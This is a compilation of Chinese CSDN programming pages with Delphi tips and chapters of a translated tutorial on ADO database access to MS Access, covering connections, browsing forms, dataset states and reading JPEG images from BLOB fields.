Query1SQLAdd(′Select＊FromCustomdbwhere(Name1&gt;=N1)and(Name2&lt;=N2)′);∥SQL命令语句
Query1params[0]AsString:=NameStr＋chr(0);∥控制参数在NameStr＋Chr(0)
Query1params[1]AsString:=NameStr＋chr(＄ff);∥和NameStr＋Chr(＄ff)之间
Query1Open;∥打开数据库，执行SQL查询
End;


CSDN_文档中心_Delphi使用ABC

Delphi使用技巧ABC

    A如何屏蔽系统功能键

    有时我们不希望程序被用户用Alt＋Tab、Ctrl＋Alt＋Del、Ctrl＋Esc等系统功能键打断（比如自动演示程序），那么该怎么做呢？提示你一点，在运行屏幕保护程序的时候，这些功能键都是不起作用的——也就是说，只要在你的程序运行过程中，“欺骗”一下Windows，使它自以为正处在屏幕保护状态就成了！请看下面这段代码：

    var

    temp : integer;

    begin

     SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @temp, 0);

    end；

     当然，在程序结尾处千万别忘了恢复设置，把Windows“唤醒”。代码如下：

    var

    temp : integer;

    begin

     SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @temp, 0);

    end；

    B如何分行提示

    Delphi中大部分控件都有一个实用的Hint属性，即浮动条提示。但有时提示较长，是否可以使得浮动提示条分行显示呢？其实，Hint是一个字符串（string），因而Delphi显示该字符串时会自动解释其中的回车控制符，所以只要加上回车控制符就可以了。依此原理，我们还能做出别具一格的垂直提示条。请先在form1中布置一个label，然后看示例代码：

procedure TForm1.FormCreate(Sender: TObject);

    begin label1.Hint := ′垂′ ＋ ＃13 ＋ ′直′＋ ＃13 ＋ ′提′ ＋ ＃13 ＋ ′示′；

    end;

    C如何在菜单中显示图片

    用过Office97吗？是不是觉得在菜单中显示图标很新鲜？如果想让你的程序也能如此锦上添花，那就请你赶快准备bmp吧！

    假设你打算为“文件”菜单栏（name为n1）下的第9项（序号改为8）“打印”添加一个打印机图标（文件名为c:\inter.bmp），那只要在form的OnCreate事件中这样编写：

    var

     Bmp : TPicture;

    begin

    Bmp := TPicture.Create;

    Bmp.LoadFromFile(′c:\printer.bmp′);

    SetMenuItemBitmaps(n1.Handle,8， MF_BYPOSITION,Bmp. Bitmap. Handle, Bmp.Bitmap.Handle);

    end;

    其中，第一个bitmap.handle用于未选定菜单项（unchecked），第二个则指定了选定（checked）时所显示的bitmap，同异皆可。另外，由于菜单项的高度有限，所以，若bitmap过大，只有左上角被显示。


CSDN_文档中心_Delphi使用技巧ABC

    A如何屏蔽系统功能键
    有时我们不希望程序被用户用Alt＋Tab、Ctrl＋Alt＋Del、Ctrl＋Esc等系统功能键打断（比如自动演示程序），那么该怎么做呢？提示你一点，在运行屏幕保护程序的时候，这些功能键都是不起作用的——也就是说，只要在你的程序运行过程中，“欺骗”一下Windows，使它自以为正处在屏幕保护状态就成了！请看下面这段代码：
    var
    temp : integer;
    begin
     SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @temp, 0);
    end；
     当然，在程序结尾处千万别忘了恢复设置，把Windows“唤醒”。代码如下：
    var
    temp : integer;
    begin
     SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @temp, 0);
    end；
    B如何分行提示
    Delphi中大部分控件都有一个实用的Hint属性，即浮动条提示。但有时提示较长，是否可以使得浮动提示条分行显示呢？其实，Hint是一个字符串（string），因而Delphi显示该字符串时会自动解释其中的回车控制符，所以只要加上回车控制符就可以了。依此原理，我们还能做出别具一格的垂直提示条。请先在form1中布置一个label，然后看示例代码：
procedure TForm1.FormCreate(Sender: TObject);
    begin label1.Hint := ′垂′ ＋ ＃13 ＋ ′直′＋ ＃13 ＋ ′提′ ＋ ＃13 ＋ ′示′；
    end;
    C如何在菜单中显示图片
    用过Office97吗？是不是觉得在菜单中显示图标很新鲜？如果想让你的程序也能如此锦上添花，那就请你赶快准备bmp吧！
    假设你打算为“文件”菜单栏（name为n1）下的第9项（序号改为8）“打印”添加一个打印机图标（文件名为c:\inter.bmp），那只要在form的OnCreate事件中这样编写：
    var
     Bmp : TPicture;
    begin
    Bmp := TPicture.Create;
    Bmp.LoadFromFile(′c:\printer.bmp′);
    SetMenuItemBitmaps(n1.Handle,8， MF_BYPOSITION,Bmp. Bitmap. Handle, Bmp.Bitmap.Handle);
    end;
    其中，第一个bitmap.handle用于未选定菜单项（unchecked），第二个则指定了选定（checked）时所显示的bitmap，同异皆可。另外，由于菜单项的高度有限，所以，若bitmap过大，只有左上角被显示。


CSDN_文档中心_Delphi使用技巧四则

一、定制Speedbar

    在Delphi的可视化设计界面中，使用最频繁的地方要数位于屏幕左上角的加速按钮栏（Speedbar）了。在实践过程中，笔者无意中发现了Speedbar的定制方法，这在我用过的四本Delphi参考书中均未提及到。步骤如下：

    右键点击Speedbar，在弹出菜单中选Properties，这时会出现一个名为Speedbar Editor的对话框。假设想要增设一项“语法检查”的功能，可在左边Categories列表框中选Project，再把右侧的Syntax Check图标拖放到Speedbar的合适的位置上，这项功能就已经加上了。如果speedbar上没有多余的空间来容纳新的按钮，可将鼠标停在speedbar右框处，变为双向箭头的形状时，向右拖动一段距离，就可腾出空间。如想删除speedbar上的某个按钮，可简单地把它拖出speedbar的范围，就能删除。操作十分方便。建议把Syntax Check、Project Options（工程选项）、WindowsApi Help加到Speedbar中，可以提高开发效率。

    二、设计Form时的快捷键

    使用快捷键可以加快设计速度。下面列出的快捷键，可根据实际情况，有选择地熟练掌握。

    Del :删除所选组件；

    Esc :选择当前组件的容器（通常是Panel,Group或Form）；

    F11 :在Form或Unit和对象检查器之间切换；

    F12 :在Form和代码编辑器间切换；

    Ctrl＋F12 :显示“查看Unit”对话框；

    Shift＋F12 :显示“查看Form”对话框；

    TAB :下一个组件;

    Shift＋TAB :上一个组件;

    方向键 :选中此方向上最近的组件;

    Ctrl＋方向键 :将所选组件移动一个点;

    Shift＋方向键 :将所选组件改变一个点的大小;

    Ctrl＋Shift＋方向键 :将所选组件移动一个格;

    Shift＋click :按住Shift键再用鼠标点击组件，可以选择多个组件。

    下面这条是我摸索出来的：

    Ctrl＋drag :按住Ctrl键在一个容器组件（如Panel,QReport,Groupbox等）里拖动鼠标，可强制选择鼠标拖过的矩形框中的所有属于此容器的可视组件（不包括该容器组件）。

    三、命令行参数的使用

    Delphi提供了访问命令行参数的方便的方式，那就是使用ParamStr和ParamCount函数。其中ParamStr(0)返回的是当前程序名，如C:\TEST\MYPROG.EXE，ParamStr(1)返回第一个参数，以此类推；ParamCount则是参数个数。示例如下:

    var

    I: Word;

    Y: Integer;

    begin

     Y := 10;

     for I := 1 to ParamCount do begin

     Canvas.TextOut(5, Y, ParamStr(I));

     Y := Y ＋ Canvas.TextHeight(ParamStr(I)) ＋ 5;

     end;

    end;

    四、DCU文件（编译的库单元）的重用

    (1)在interface里的uses子句中引用。如Windows,Dialogs等，要求被引用的DCU一定要放在Delphi 3\Lib子目录中。

    (2)在implementation里的uses子句中引用。如果是自行编写的DCU文件，应采用这一方式，并将被引用的DCU文件放入当前工程所在的子目录中。


CSDN_文档中心_Delphi数据库编程教程（八）

第二节浏览和导航

创建访问数据库数据的表单有两种不同的方法。第一种方法是使用Database Form Expert（数据库表单专家）。但不幸的是，数据库表单专家仅仅只可以处理数据集组件中的BDE-aware（可视化BDE）子集。第二种方法是手工放置和连接所有的数据组件。

定义用户界面（Defining the User Interface）

我们将分三步建立自己的数据浏览表单。第一步，为表单定义用户界面；第二步，增加和配置数据访问组件；第三步也是最后一步，增加数据可视化控件。

在你开始前，关闭所有打开的工程。接着进行下面的步骤：

  • 选择File | New Application。这将创建一个新的工程，包括一个空的表单、一个单元和一个工程文件；
  • 在表单上增加一个PageControl组件。该组件位于组件面板的Win32页。让它的名称为默认名：PageControl。
  • 在PageControl上增加TabSheets（在PageControl上右击并选择"New Page"）。设置第一个TablSheet1的标题为“Browse（浏览）”，第二个为“Edit（编辑）”。
  • 在表单上放置一个DataSource（DataAccess页）、一个ADOTable和一个ADOConnection（ADO页）组件。名称全为其默认名。
  • 选择PageControl组件的第一页并在Browse（浏览）标签单上放置一个DBGrid（Data Controls页）组件。
  • 放置一个DBNavigator组件（Data Controls页）。导航器按钮用于移动表中的记录。
  • 通过使用对象检视器设置组件间的连接，如下：

DBNavigator1.DataSource = DataSource1
DBGrid1.DataSource = DataSource1
DataSource1.DataSet = ADOTable1
ADOTable1.Connection = ADOConnection1
ADOConnection1.ConnectionString = ...
ADOConnection1.LoginPrompt = False
ADOTable1.Table = 'Applications'

注：如在第二章中讨论的一样，ConnectionString属性指出数据存储的物理位置和我们的访问方式。你可以使用与第二章同样的连接字符串，或者通过调用连接字符串编辑器自己建立一个。

设置ADOConnection组件的LoginPrompt属性为False，阻止数据库登录界面出现。既然我们没有为数据库设置任何密码，我们也不需要登录提示。

Data Browsing at design time with DBGird

字段（Fields）

当我们想为用户提供整个记录集（表中的数据）的时候，可以使用DBGrid组件。即使我们可以使用DBGrid让我们的用户在表中添加、编辑和删除记录—但最好的方法是为表中的每个字段使用Field（字段）对象。字段对象多用于应用程序中数据显示和编辑的控制。通过使用Fields Editor（字段编辑器），我们可以为表中的每一列设置固定的字段对象列表。字段编辑器可通过双击DataSet组件调用。为了给数据集的固定字段列表增加字段，可以右击列表并选择Add Fields（增加字段）。

除了为用户显示表中的所有数据（在DBGrid中）外，我们还需要使用field-oriented（面向字段）的数据可视化组件如：编辑框。例如，DBEdit组件是TEdit类的数据可视化版本。它是任何数据输入程序的积木。

在表单中放置DBEdit并把它与表的字段相连的最简单的方法如下：

  1. 通过双击ADOTable组件调用Fields editor（字段编辑器）；
  2. 选择Name字段，如例。让Page Control的第二个标签成为被选项；
  3. 在表单上拖动Name字段。

Dragging field objects

当你在标签单上放下Name字段时，Delphi会在上面放置一个Label和一个DBEdit组件。Label组件的Caption（标题）与被拖动字段的DisplayLabel（显示标签）属性一样。DBEdit组件通过它的DataSource属性与数据集的数据源相连。如果你从字段编辑器中选择多个字段并把它放置在表单上，Delphi将在表单上放置同样多的Label/DBEdit组件。

Data browsing at design time with field oriented components

“它活了！”（It's alive）

OK，我们现在所需要做的是激活连接并滚动记录。一个数据集（ADOTable）组件的Active（激活）属性指出我们是否与一个表相连。设置Active为True或调用Open方法将使ADOConnection组件的CONonnected属性为True—并在相关的数据可视化控件中显示数据。

首先、接着、最后......（First, Move by, Last,...）

现在我们作最后的准备。接下来我们了解一下怎样浏览记录集。

DBNavigator组件为浏览记录集提供了一个友好而简单的工具。除了它的浏览能力外，DBNavigator还提供了方法操作数据，如：插入、删除或取消改变。例如，如果我们点击Delete（删除）按钮，相应的记录将会从记录集中删除。每个按钮都是可选的，你可以随意的组合和匹配它们。

通过按钮设置，我们可以跳到最后一个记录或移到上一个记录。例如，点击Last（最后）按钮设置当前记录为记录集的最后一条记录并使Last（最后）和Next（下一个）按钮失效。点击Last按钮与调用数据集的Last方法具有相同的功效。

需要注意的是，DBNavigator不能处理的浏览操作之一是按一定的数量间隔对记录进行向前或向后的移动。数据集的MoveBy方法被用于定位相对于记录集当前记录的任一记录的位置。

这就是本章。现在我们将准备学习数据集的编辑和查询，这将在本教程的接下来的章节中进行说明......

2002年12月26日 20:49


CSDN_文档中心_Delphi数据库编程教程(二）

填写数据（Filling some data）

为了有一些“哑元”（dummy）数据，在类型（Type）表中填上以下4个记录：“游戏（Game）”，“数据库（Database）”，“互联网（Internet）”，“图形（Graphics）”。在选择存储在应用程序表（Applications）中的应用程序类型时，这些值将被使用。 接下来，在作者表（Authors）中增加一行：'Delphi Guide'、'delphi.guide@about.com'、 'http://delphi.about.com'。最后，在应用程序表（Applications）中加上一行：'Zoom'、'Zooming the Destop'、'Delphi Guide'、'Graphics'、10、0、02/20/2001，同时让最后一个字段（照片）为空。

怎样处理这些“空”（blank）的数据库......在本教程的余下章节将进行说明。

第二章 连到数据库，用ADO？ BDE？

第一节 Delphi数据库连通性

像在上一章中所显示的那样，数据库是以一定的结构格式存储数据的一个或多个表的集合。这些表包含以行、列的形式表现的数据。当一个数据库包含一个或多个表时，这些表通常拥有分散但相关的数据。MS Access、Interbase、SQL Server用一个文件表示完整的数据库（MS Access是*.mdb文件）。另一方面，Paradox和dBase由代表索引和表关系的单独的表和文件定义。描述Paradox数据库的所有文件通常存放在一个目录中。当然，Delphi可以以这两种方式工作。

用Delphi，我们可以连到不同类型的数据库：本地或C/S（远程服务器）数据库。本地数据库存放在本地驱动器或本区域网中。远程数据库服务器通常位于远端机器。本地数据库的类型有Paradox、dBase和MS　Ａccess。Ｃ/S数据库有MS SQL Server、Interbase或Oracle。

本地数据库通常被称为单层数据库。单层数据库对任何变化如：编辑数据、插入记录、或删除记录-立即实现。单层数据库在表所容纳的数据量大小和应用程序所支持的用户量的多少上有限制。当数据库包含几个表之间复杂关系的信息时，或当客户端数量增加时，你需要使用二层或多层应用程序。客户端应用程序在本地机上运行；应有程序服务器多运行在服务器上，而数据库可能位于另一个服务器。多层体系的思路是客户端程序可以非常小，因为应用程序服务器可以完成很多工作。这可以使你编写所谓瘦客户端应用程序。

当我们用Delphi编写数据库应用程序时，我们需要用一些数据库引擎访问数据库的数据。数据库因请允许你把焦点集中在你所访问的是什么数据，而不是怎样访问它。从第一版开始，Delphi就为数据库开发人员提供了BDE(Borland Database Engine)。除了BDE外，从第五版开始，Delphi提供对微软的ADO数据库接口的支持。

本教程将重点关注用MS Access本地数据库开发单层数据库应用程序。

第二节 Borland 数据库引擎（BDE)

BDE是所有Borland产品—包括Delphi和C++Builder—时共同的数据访问层。BDE是一个DLL（Dynamic Link Libraries）和工具的集合。它的漂亮之处在于所有的数据处理对于开发者都是透明的。BDE带有一套驱动，可以使你的应用程序与多种不同类型的数据库进行交流。这些驱动把高层次数据库命令（如open或post）和任务（记录锁定或SQL结构）转化为特殊的数据库类型所需要的特定命令，这些特殊的数据库有：Paradox、dBase、MS Access或任何ODBC数据源。BDE API (Application Programming Interface 应用程序编程接口)包含200多个过程和函数，它们可以从BDE单元获得。幸运的是，你几乎根本不需要直接调用这些程序。相反地，你通过VCL（译者加：Visual Component Library可视组件库）的数据访问组件—位于组件面板的数据访问页（Data Access）使用BDE。为了访问特殊的数据库，应用程序只需知道数据库的别名（Alias）就可以访问该数据库的所有数据。别名在BDE管理器（BDE Administrator）中建立，它指定了驱动器的参数和数据库的位置。BDE自带一个数据库驱动集，可以访问大范围不同类型的数据元。标准的BDE驱动包括Paradox、dBase、MS Access、ASCII文本。当然，任何ODBC驱动器也能通过ODBC管理器（ODBC Administrator）被BDE使用。

使用BDE访问数据库的Delphi应用程序需要为应用程序分发BDE。当配置应用程序的BDE时，你必须使用InstallShield Express或别的Borland指定的安装程序。

BDE作为数据库引擎有其优点也有其缺点。但是，在本教程中将不讨论为什么和什么时候你应该（或不应该）使用BDE方法而不是某些非BDE技术。

既然本教程是讨论ADO/MSAccess的，那么余下部分将集中在这种非BDE的数据库方法。

2002年12月22日


CSDN_文档中心_Delphi数据库编程教程（九）

第五章 数据集数据的后面.....

第一节 数据的状态

当用Delphi和ADO开发数据库应用程序时，大部分工作用于学习数据集组件的帮助文档。。为了创建一个基于ADO的程序，Delphi提供了几个数据集组件：TAdoTable、TAdoQuery和其他的组件。它们用于获得、呈现和修改数据库表或查询的数据。

在本教程的第五章，我们将通过介绍大多数感兴趣的数据集组件的一些属性、事件和方法来切实了解怎样呈现、浏览和读取数据。

挑选、设置、连接和获得（Pick, set, connect and get）

既然已到了第五章，你应该已经熟悉创建一个数据库表单所需的步骤。在第四章我们已手工建立了一个简单的数据浏览表单。本章将用它继续讨论。

到现在为止，我们仅使用了一个（ADO）数据集组件：TAdoTable。了解TADOQuery和TADODataSet（作为数据集组件）对同样的方法和事件使用同样的设置是很重要的。

芝麻开门；芝麻关门（Open Sesame ; Close Sesame）

Delphi数据库开发的很重要的特征之一是：Delphi可以在程序设计时让我们对数据进行处理。你可以回忆一下—在前一章，我们使用Active属性在设计时就打开了与数据的活动连接。

不难理解，在开始处理表的数据之前，程序必须首先打开数据集。Delphi有两种方法实现此功能。第一是如我们已看到的，可以在设计或运行时设置Active属性为True；第二是我们可以在运行时调用Open方法。例如，增加如下的代码到表单的OnCreate事件句柄中，从而得到ADOTable组件的数据。

ADOTable1.Open;

注：每个ADO数据集都可通过它自己的ConnectionString属性或一个ADOConnection组件（和它的ConnectionString）访问数据库的数据。如果ADOTable1组件与ADOConnection1组件相连（推荐使用此方式），打开ADOTable将激活相应的ADOConnection组件。ADOConnection提供两个将被执行的事件：OnWillConnect和OnConnectComplete。

Open方法设置Active属性为True并激活连接。当我们处理完连接时，我们可以设置Active属性为False或调用Close方法断开连接。通常我们都在表单的OnClose事件句柄中放入对Close方法的调用：

ADOTable1.Close;

在继续之前，知道对数据集方法和属性的处理依赖于对数据当前状态的了解是至关紧要的。简单地说，数据集的State（状态）属性决定任何时候数据集上的什么行为可以发生或不发生。

How are you doing?

如果数据集是关闭的，数据的State将显示为Inactive（非激活）连接。当连接是关闭时，没有操作、行为或方法可以对数据实施。我们第一次打开数据集的连接时，数据集处于默认的Browse（浏览）状态。你应该始终了解“你的”数据所处的状态。例如，当我们把数据集连接到DBGrid时，用户可以看到潜在的数据集（或记录集），但要想改变某些数据就必须把State设置为Edit。
 当程序处理数据时，了解数据集状态在不停的改变时非常重要的。例如，当在DBGrid中浏览数据时（Browse状态），用户开始编辑记录，状态将自动改变为Edit。当然，当设置数据可视化控件（DBGrid、DBEdit）的AutoEdit属性为True时，这是它们默认的行为。

但是，我们怎样得到状态呢？ADOTable（其他任何数据集组件也一样没有）没有处理状态改变时的触发器。

好，让我们看一看：对每个数据集组件，我们通常使用一个数据源组件来呈现于一个或多个数据可视化控件的连接。就是这样。

每个数据源组件都有一个OnStateChange事件，无论潜在的数据集状态什么时候改变它都见触发。把下面的代码放到OnStateChange事件句柄中，用表单的标题显示ADOTable1数据集组件的当前状态：

procedure TForm1.DataSource1StateChange(Sender: TObject);
var ds: string;
begin
case ADOTable1.State of
dsInactive: ds:='Closed';
dsBrowse : ds:='Browsing';
dsEdit : ds:='Editing';
dsInsert : ds:='New record inserting';
else
ds:='Other states'
end;
Caption:='ADOTable1 state: ' + ds;
end;


CSDN_文档中心_Delphi数据库编程教程（六）

第四节 在BLOB中寻找JPEG的开端

OLE对象类型格式—思路三（OLE object type format - take three!）
现在所有我们需要做的是存储图片到磁盘（存为普通的二进制文件）并了解它里门的内容是什么。

所有的图片文件（格式）都有用来唯一的标识图像的文件头。JPG图片文件以所谓的SOI标记开始，该标记的十六进制值是$FFD8。

下面一行代码存储图片字段值到工作目录的相关文件（BlobImage.dat）。在表单的OnCreate事件中放置这条代码，开始工程以后再移除该代码。

ADOTable1Picture.SaveToFile('BlobImage.dat');

一旦我们有了这个文件。我们就可以使用Hex editor看它的内容。

Jpeg as OLE object binary file

你相信吗？MS Access把连接的OLE对象的路径作为对象定义的一部分存储在OLE对象字段中。因为OLE对象的存储定义没有被文档化（！？这直接来自于MS），所以没有办法知道真正的图像数据被写之前能得到什么。

分两个部分考虑这个问题。第一：我们需要找到'FFD8'并从那儿开始读取图像。第二：'FFD8'不可能总在文件的同一个位置。结论：我们需要一个函数，返回Access数据库中存储为OLE对象的JPG文件的SOI标记的位置。

正确的方法—思路四(The correct way - take four!)

提供了Blob类型字段后，我们的函数应返回ADOBlobStream中'FFD8'字符串的位置。ReadBuffer（读缓冲区）从流中一个字节一个字节的读取数据。对ReadBuffer的每个调用都会一个字节一个字节的移动流的位置。当两个字节一起引出SOI标记时，函数返回流的位置。这是这个函数：

   function JpegStartsInBlob(PicField:TBlobField):integer;
   var
    bS     : TADOBlobStream;
    buffer : Word;
    hx     : string;
   begin
    Result := -1;
    bS := TADOBlobStream.Create(PicField, bmRead);
    try
     while (Result = -1) and (bS.Position + 1 < bS.Size) do
     begin
      bS.ReadBuffer(buffer, 1);
      hx:=IntToHex(buffer, 2);
      if hx = 'FF' then begin
       bS.ReadBuffer(buffer, 1);
       hx:=IntToHex(buffer, 2);
      if hx = 'D8' then Result := bS.Position - 2
       else if hx = 'FF' then
             bS.Position := bS.Position-1;
      end; //if
     end; //while
     finally
      bS.Free
     end;  //try
   end;
   一旦我们有了SOI标记的位置，我们就能使用它在ADOBlob流中找到图片的位置。
     uses jpeg;
     ...
     procedure TForm1.btnShowImageClick(Sender: TObject);
     var
      bS  : TADOBlobStream;
      Pic : TJpegImage;
     begin
      bS := TADOBlobStream.Create(AdoTable1Picture, bmRead);
      try
       bS.Seek(JpegStartsInBlob(AdoTable1Picture),soFromBeginning);
       Pic:=TJpegImage.Create;
       try
        Pic.LoadFromStream(bS);
        ADOImage.Picture.Graphic:=Pic;
       finally
        Pic.Free;
       end;
      finally
       bS.Free
      end;
     end;
   运行工程，OK!
  JPG image from MS Access with ADO
   现在谁会说编程没有趣味？

注：在真正的代码程序中，我们会在TDataSet的AfterScroll事件中加入代码用于从当前行中读取和显示图像（它在ADOTable1AfterScroll事件过程中）。当应用程序从一个记录滚到另一个时，AfterScroll事件发生。

思路五！

这就是本章的主要内容。现在你可以存储和显示所有你感兴趣的JPG图片。在这篇文章的最后一页，我会提供完整的代码（form1单元）；所有的数据安排都放在表单的OnCreate事件中。这确保了所有的三个组件被正确连接—在设计时你不需要使用Object Inspector(对象检视器）。

我承认，这一章不适合初学者，但世界是残酷的！另一件事：你注意到最后你都不知道怎样改变（或增加一些新的）表中的图片！是的，那又是另一个完整的故事了！


CSDN_文档中心_Delphi数据库编程教程（七）

第四章 数据浏览和导航

第一节 设置和连接

欢迎来到免费DB Delphi教程的第四章！到现在为止，本教程以说明了怎样连接到Access数据库及怎样显示数据库表中的图形数据。在上一章我们讨论了一些“高级”的数据库编程技巧（译者加：相对于初学者而言）—现在让我们回到“为初学者”的水平。

这次，你将了解怎样建立可以浏览数据库表中的数据的表单。

前面章节介绍的所有例子使用的几个数据使能（data-enabled）组件（ADOTable、DBGrid...）都没有充分的解释每个组件是为了实现什么功能而设计、所有的数据组件怎样连接在一起。本章将进行说明。

一起工作（Working together...）

开发基于ADO的Delphi数据库应用程序时，在组件面板的Data Controls页、ADO页和Data Access页上的组件允许我们的应用程序从数据库中读取和写入信息。

每个数据可视（data-aware）的（ADO）Delphi表单，通常情况下都包含：

  • 几个数据可视组件（Data Controls页），用于创建一个可是的用户界面（数据表单的外表）。
  • 一个DataSource组件（Data Access页），作为表单上数据集组件和数据可视控件的借口。
  • 一个或多个数据集组件（ADO页），提供对数据库表或查询结果中数据的访问。
  • 一个连接组件（ADO页），把所有的数据集组件指向指定的数据库。

数据控制（Data Controls）

Delphi的数据可视组件通常位于Standard页，但也有一些被改良用于显示和操作数据集（表或查询）的内容的组件。控件的选择由我们想怎样显示信息和怎样让用户浏览（操作—增加或编辑）数据集的记录所决定。例如，DBEdit和DBMemo用于显示数据集的单个记录。另一方面，DBGrid通常用于显示整个数据集的内容。既然所有的数据可视控件都是标准Windows控件的“副本”—带有许多额外的属性，那么建立一个具有一定功能的数据库应用程序也应是一个相关的很熟悉的任务（译者加：与通常的Windows任务相比较）。所有的数据可视组件分享同一个属性：Data Source（数据源）。

数据源（Data Source）

简单地说，DataSource（数据源）组件提供一种机制，把数据集组件和显示数据的数据可视化组件相连。通常，你需要一个数据源组件，用于每个数据集组件与一个或多个数据可视控件的连接。

数据集（Datasets）

为了创建一个基于ADO的应用程序，Delphi提供了四个数据集组件：TAdoDataSet、TAdoTable、TAdoQuery和TAdoStoredProc。所有组件用于获得、表示和改变数据。所有组件都可通过它的ConnectionString（连接字符串）直接连接到ADO数据库（和Access数据库的数据一样），或者，它们可以共享一个连接。当通过TAdoConnection组件连接时，该连接将指定一个ADO连接对象连接到ADO数据库。

ADO连接（ADO Connection）

ADOConnection组件用于建立与ADO数据库的连接。尽管每个ADO数据集组件能直接连接到数据库，但我们仍将使用ADOConnection组件，因为该组件提供了方法和属性用于激活连接、直接访问ADO数据库和处理事务。为了连接到指定的数据库，我们使用ConnectionString（连接字符串）属性。

现在，我们知道了相关的理论，是行动的时候了！下一步将建立一个数据表单。在开始之前，用Access打开数据库并在数据库中增加一些“哑元”数据以用于以后的数据操作，这是一个好的想法。


CSDN_文档中心_Delphi数据库编程教程（三）

第三节 ADO（ActiveX Data Objects）编程模型

如文章“Delphi中引入ADO”所叙述的，ADO是一套COM（Component Object Model组件对象模型）组件（DLLs）,它允许你像访问电子邮件和文件系统一样访问数据库。使用ADO编写的应用程序不需要BDE。为了用ADO访问各种数据库，你需要有ADO/OLE DB（Object Linking and Embedding对象链接和嵌入）库。使用ADO所需要的可能在你的计算机中已存在：这些文件被微软作为Windows98/2000的一部分分发。如果你使用的是Windows95或NT，你可能需要分发或安装ADO引擎。Delphi 5的CD中包含有MDAC-Microsoft Data Access Components（微软数据访问组件）的安装文件。你应该确定使用的是MDAC的最新版本，它可以从微软的官方网站获得。MDAC是使Universal Data Access（通用数据访问）起作用的关键技术。它们包括ActiveX Data Objects(ADO)、OLE DB和Open Database Connectivity(ODBC)。

注：为了在Windows95的计算机上正确安装，MDAC需要DCOM95（Distributed Component Object Model分布式组件对象模型）已被安装。为了正确的注册，MDAC所安装的组件依赖于DCOM95所安装的DLLs。注意，DCOM95在NT4.0中是不需要的。在某些情况下，DCOM不需要安装在运行Windows的计算机中。但如果没有被安装，安装MDAC前应安装DCOM98。

没有必要过多的讨论OLE DB和ADO，让我们转移到更实际的问题上。

ADO 对象（ADO Objects）

ADO编程模型围绕着几个ADO对象而建立，这些对象为访问各种数据员提供多种方法。这些对象提供连接数据源、查询和更新记录集、报告错误的功能。Delphi通过几个VCL组件通过访问这些对象的封装组件。让我们看一下与ADO工作的对象是那些：

Connection （连接）对象，通过连接字符串与数据源连接。在BDE/Delphi中，连接对象是数据库组件和会话（Session）组件的结合。

Command （命令）对象，使我们能操作数据源。它描绘一个命令（也视为查询或叙述），能处理对数据库数据的增加、删除、查询或更新。

Recordset （记录集）对象，是查询（Query）命令的结果。你可以认为Recordset 是一个Delphi表（Table）组件或查询（Query)组件。Recordset 返回的每一行都包含多个字段（Field）对象。

其他几个在ADO模型中存在的对象有：字段（Field）对象、参数（Parameter）对象和错误（Error）对象—在接下来的章节中将会回过来谈到它们。

第四节 用ADOExpress连接数据库

在对ADOExpress集合的每个组件进行简要的解释之前，让我们首先了解一下怎样连接到Access数据库。当然，当然我们将连接到我们的样例数据库—AboutDelphi.mdb（译者加：在上一章中所建立的数据库）。

Delphi(5)主要通过组件面板ADO页上的ADOExpress组件实现对ADO的支持。几个其他的数据库使能组件在本课程中将被使用。目前，我们将主要关注用ADO访问Access数据库所需的最小的组件集。

运行Delphi，建立一个新的带有空的表单的应用程序。

为了能通过ADO和Delphi访问Access数据库的数据，你必须在你的工程中至少增加三个数据可视（data aware)组件。首先是数据控制（DataControls）组件页的DBGrid—用于浏览从一个表格或通过查询获得的记录。其次是DataSource（DataAccess数据访问页），用于连接数据集和表单上的DBGrid组件，从而实现潜在数据集数据的现实、导航（navigation）和编辑。最后是ADOTable（ADO页），它描绘从ADO数据库获得的一个表。把它们都拖放在表单（Form）上，组件名都取默认值。这时表单应如图所示：

如果你现在运行程序，Grid中没有数据显示—当然，因为我们没有真正地连到数据库上。注意另一点：仅仅Grid使可见的，其他两个组件是不可视控件（controls-unvisible）。

组件间的连接（Link between components）

为了显示数据库中的数据，我们必须把三个组件连在一起。在对象监视器（Object Inspector）中进行如下设置：

DBGrid1.DataSource = DataSource1；
DataSource1.DataSet = ADOTable1 ；

现在我们到了比较难的部分了，为了真正从数据库中获得数据，我们必须建立一个连接字符串（ConnectionString）。这个字符串指出了数据库的物理存储位置和访问方式。当你双击AdoTable组件的ConnectionString(连接字符串)属性的省略号按钮，你将得到如下的对话框：

建立一个连接字符串时，我们有两种选择：使用Data Link File（数据连接文件）（.UDL）或手工建立一个连接字符串。现在我们手工建立它，点击Build按钮—弹出Data Link Properties（数据连接属性）对话框。这个对话框有4页。Provider（提供者）页允许你指定提供者—这里选择Microsoft Jet 4.0 OLE DB Provider。点击Next（下一个）按钮将引导我们进入第二页：Connection（连接）。选择省略号按钮浏览找到我们的数据库（AboutDelphi.mdb）。可以点击Test Connection（测试连接）按钮检验是否可以成功连接—应该是成功的。其它页暂时不进行设置。最后，点击OK关闭Data Link Properties对话框，再点击OK关闭ConnectionString对话框—连接字符串被存储在ADOTable组件的ConnectionString属性中。连接字符串已如下所示：
Provider=Microsoft.Jet.OLEDB.4.0;
Data Source=C:\!gajba\About\aboutdelphi.mdb;
Persist Security Info=False
为了完成设计，我们必须设置通过ADOTable组件访问的表名称—再一次使用Object Inspector。
ADOTable1.TableName = Applications
如果你想在设计时看见数据库的数据，可使用ADOTable的Active（激活）属性—设置它为True。
哈！如果你已进行以上的所有步骤，现在你见看到Applications表仅有一个记录（行）。当你运行应用程序时，你甚至能改变数据库的数据。当然，你不能做更多的是—这是我所能想到的最简单的ADO的例子。
现在可以结束这一部分了。下一章中，我们将讨论Delphi提供所有的ADO组件以及它们怎样与余下的数据可视化（data-aware）组件进行通讯，从而创建一个功能更强大的Delphi数据库应用程序。
2002年12月22日 20:14


CSDN_文档中心_Delphi数据库编程教程（四）

第三章 数据库中的图片

第一节 处理BLOBs，在Access中存储图片

现在开发数据库应用程序不仅仅只需要处理文本或数字数据。例如，如果你正开发基于Interner/Intranet或基于多媒体的应用程序，和数据库中的文本一样，数据库中的图片就必须频繁的显示。

在本教程的第三章，我们将了解怎样通过ADO取出并显示Access数据库中的图形数据（图像）。不要担心处理Access数据库中的图像所需要的数据库编程技巧会比本教程到现在为止所提供的更多。让我们假设比已得到的我们已知道得更多。

如果你从本教程的开始部分学起（尤其是第二章），你就会知道怎样连接数据库并在DBGrid中显示Applications表（来源于我们的aboutdelphi.mdb数据库）。记住，我们需要三个数据组件：DBGrid、ADOTable和DataSource来得到和显示Applications表的数据。

